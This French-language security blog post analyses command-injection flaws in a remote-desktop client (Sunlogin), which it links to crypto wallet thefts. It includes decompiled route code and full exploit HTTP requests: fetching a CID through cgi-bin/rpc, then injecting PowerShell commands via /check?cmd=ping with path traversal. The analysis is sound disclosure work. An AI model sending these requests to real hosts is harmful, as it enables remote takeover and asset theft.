paint-brush
Crypto OpSec : comment le logiciel de bureau à distance peut être exploité pour vider votre portefeuillepar@numencyber
586 lectures
586 lectures

Crypto OpSec : comment le logiciel de bureau à distance peut être exploité pour vider votre portefeuille

par Numen Cyber8m2023/04/18
Read on Terminal Reader

Trop long; Pour lire

Récemment, plusieurs détenteurs de crypto-monnaie Web3 ont signalé avoir perdu leurs actifs numériques lors de l'utilisation d'un logiciel de contrôle à distance. L'adresse du portefeuille associée au pirate est 0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf. L'année dernière, il y a eu un incident impliquant un logiciel de contrôle à distance qui a connu une explosion de service en raison d'une fuite de ses informations d'identification client.
featured image - Crypto OpSec : comment le logiciel de bureau à distance peut être exploité pour vider votre portefeuille
Numen Cyber HackerNoon profile picture

Récemment, plusieurs détenteurs de crypto-monnaie Web3 ont signalé avoir perdu leurs actifs numériques lors de l'utilisation d'un logiciel de contrôle à distance.

L'adresse du portefeuille associée au pirate est 0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf.

L'année dernière, un incident impliquant un logiciel de contrôle à distance a connu une explosion de service en raison d'une fuite de ses informations d'identification client (CID) et d'une vulnérabilité d'injection de commande (CNVD-2022-10270/CNVD-2022-03672).


Chaque fois que le logiciel est lancé, il ouvre automatiquement un numéro de port aléatoire supérieur à 40000 en tant que service HTTP. Dans le cas où la valeur du paramètre cmd commence par ping ou nslookup dans la route /check, n'importe quelle commande peut être exécutée.


Cela a permis à l'attaquant d'envoyer un agent C2, lui permettant de surveiller le système de la victime sur une longue période.

Versions concernées

Édition personnelle pour Windows <= 11.0.0.33162

Édition simple <= V1.0.1.43315

Analyse

Jetons un coup d'œil à login.cgi

 v5 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v5; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, "login.cgi", 9ui64); v6 = sub_140E2D6BC(v5, v51); v57 = &off_1410D3B20; v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v6; if ( v6 ) { v7 = v6 + 8 + *(int *)(*(_QWORD *)(v6 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v7 + 8i64))(v7); } sub_140E2D85C(a1 + 55, &v66, &v57); LOBYTE(v8) = 1; sub_1400EEDC0(v51, v8, 0i64); v56 = &v57; v9 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v9; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, (void *)"cgi-bin/login.cgi", 0x11ui64); v10 = sub_140E2D6BC(v9, v51); v57 = &off_1410D3B20; v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v10; if ( v10 ) { v11 = v10 + 8 + *(int *)(*(_QWORD *)(v10 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v11 + 8i64))(v11); } sub_140E2D85C(a1 + 55, &v66, &v57); LOBYTE(v12) = 1; sub_1400EEDC0(v51, v12, 0i64); v56 = &v57; v13 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v13; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, (void *)"cgi-bin/rpc", 0xBui64); v14 = sub_140E2D6BC(v13, v51); v57 = &off_1410D3B20; v58 = sub_140E1C954; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v14; if ( v14 ) { v15 = v14 + 8 + *(int *)(*(_QWORD *)(v14 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v15 + 8i64))(v15); }


Accédez à cgi-bin/rpc

Obtenir l'itinéraire suivant

 v63 = (*(__int64 (__fastcall **)(_QWORD))(**(_QWORD **)(a1 + 8) + 104i64))(*(_QWORD *)(a1 + 8)); sub_140320D80( (int)&qword_1414049C0, 1, (int)"..\\includes\\libsunloginclient\\client\\HttpDecideClientType.cpp", (int)"CHttpDecideTcpClientType::DecideClient", 205, "[Acceptor][HTTP] new RC HTTP connection %s,%s, plugin:%s, session:%s", v63); if ( (unsigned int)sub_140101DB0(v116, "login") && strcmp(v61, "express_login") && strcmp(v61, "cgi-bin/login.cgi") && strcmp(v61, "log") && strcmp(v61, "cgi-bin/rpc") && strcmp(v61, "transfer") && strcmp(v61, "cloudconfig") && strcmp(v61, "getfastcode") && strcmp(v61, "assist") && strcmp(v61, "cloudconfig") && strcmp(v61, "projection") && strcmp(v61, "getaddress") && strcmp(v61, "sunlogin-tools") ) ... sub_1400F05E0(v116); goto LABEL_168; } } if ( !(unsigned int)sub_140101DB0(v116, "login") || !(unsigned int)sub_140101DB0(v116, "control") || !strcmp(v61, "express_login") || !strcmp(v61, "cgi-bin/login.cgi") || !strcmp(v61, "cgi-bin/rpc") || !strcmp(v61, "desktop.list") || !strcmp(v61, "cloudconfig") || !strcmp(v61, "check") || !strcmp(v61, "transfer") || !strcmp(v61, "getfastcode") || !strcmp(v61, "assist") || !strcmp(v61, "micro-live/enable") || !strcmp(v61, "projection") || !strcmp(v61, "getaddress") ) { v103 = *(_QWORD *)(a1 + 8);

Selon les informations de vulnérabilité divulguées en ligne, en obtenant le premier CID d'authentification à partir de la route cgi-bin/rpc, il est possible de distinguer la fonction en examinant le paramètre d'action.

Lorsque le paramètre d'action est défini sur verify-haras, la fonction renvoie une chaîne de vérification.

 if ( !(unsigned int)sub_140101DB0(v131, "verify-haras") ) { sub_1400F0690(Src, "{\"__code\":0,\"enabled\":\"1\",\"verify_string\":\"", 0x2Bui64); LOBYTE(v22) = 1; v23 = (*(__int64 (__fastcall **)(_QWORD, char *, __int64))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 144i64))( *(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64), v125, v22); sub_1400EEE40(Src, v23, 0i64, -1i64); sub_1400F05E0(v125); sub_1400EEC60(Src, "\",\"code\":0} ", 0xCui64); v73 = 1; CxxThrowException(&v73, (_ThrowInfo *)&stru_1412F7B30); }

Si le paramètre action est défini sur login-type, la fonction renvoie des informations sur l'appareil de la victime.

 if ( !(unsigned int)sub_140101DB0(v131, "login-type") ) { sub_1405ACBA0(v93); v16 = "0"; if ( (*(unsigned __int8 (__fastcall **)(_QWORD))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 112i64))(*(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64)) ) ... memset(Buffer, 0, sizeof(Buffer)); sub_140150A60( Buffer, "{\"__code\":0,\"use_custom\":%d,\"code\":0,\"version\":\"%s\",\"isbinding\":%s,\"isinstalled\":%s,\"isprojection\"" ":%s,\"platform\":\"%s\",\"mac\":\"%s\",\"request_need_pwd\":\"%s\",\"accept_request\":\"1\",\"support_file\":\"1\"" ",\"disable_remote_bind\":\"%s\"} "); if ( Buffer[0] ) { do ++v6; while ( Buffer[v6] ); v4 = v6; } sub_1400F0690(Src, Buffer, v4); v72 = 1; CxxThrowException(&v72, (_ThrowInfo *)&stru_1412F7B30); }

En plus de ce qui précède, il existe deux autres paramètres : fast-login et bind-request.

En examinant la route de vérification, un attaquant peut créer des commandes malveillantes à l'aide de ping ou nslookup, leur permettant ainsi d'exécuter des commandes à distance.

La route getaddress permet de récupérer l'adresse du service https mappée sur un port fixe sur l'extranet. Cette adresse peut être facilement explorée par les moteurs de recherche d'actifs Web ou analysée par des attaquants, élargissant ainsi la surface d'attaque au-delà de l'intranet.

Processus d'exploitation

A chaque démarrage, l'interface rpc sélectionne au hasard un numéro de port supérieur à 40 000.

La première étape consiste à obtenir le CID de l'utilisateur/de l'entité concerné(e).

 GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: 10.211.55.3:49716 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 

Ensuite, l'attaquant peut ajouter un CID au cookie d'authentification, qui ressemble à ceci : Cookie : CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS. Cela leur permet d'exécuter n'importe quelle commande sur l'ordinateur de la victime.

 GET /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+whoami+/all HTTP/1.1 Host: 10.211.55.3:49716 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Cookie:CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close 

 /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+ipconfig 

Accéder et afficher les fichiers système de la victime.

Résumé

Alors que l'infrastructure Web3 continue de se développer, la valeur élevée des actifs numériques et l'invisibilité de l'infrastructure Web3 en font une cible attrayante pour les pirates. Ils sont passés de la sécurité réseau traditionnelle au vol de données au sein de l'écosystème Web3, y compris le vol des actifs numériques des utilisateurs.

De nombreux pirates utilisent désormais des attaques 0-day/1-day pour infiltrer les installations cibles telles que les serveurs, les hôtes personnels, les applications de portefeuille et les clients mobiles. Leur but ultime est de voler les actifs numériques des utilisateurs.


Pour se protéger contre de telles attaques, il est conseillé aux utilisateurs de maintenir leurs systèmes à jour et corrigés, d'éviter de cliquer sur des liens provenant de sources inconnues et de stocker leurs clés dans des systèmes isolés.


Avec l'expansion constante du paysage Web3, il est impératif que les projets accordent la priorité à la sécurité des actifs de leurs utilisateurs et adoptent les meilleures pratiques du secteur, telles que des audits complets et une analyse régulière des faiblesses afin de minimiser la possibilité que des attaques similaires se produisent à l'avenir.


En savoir plus sur nos services ici .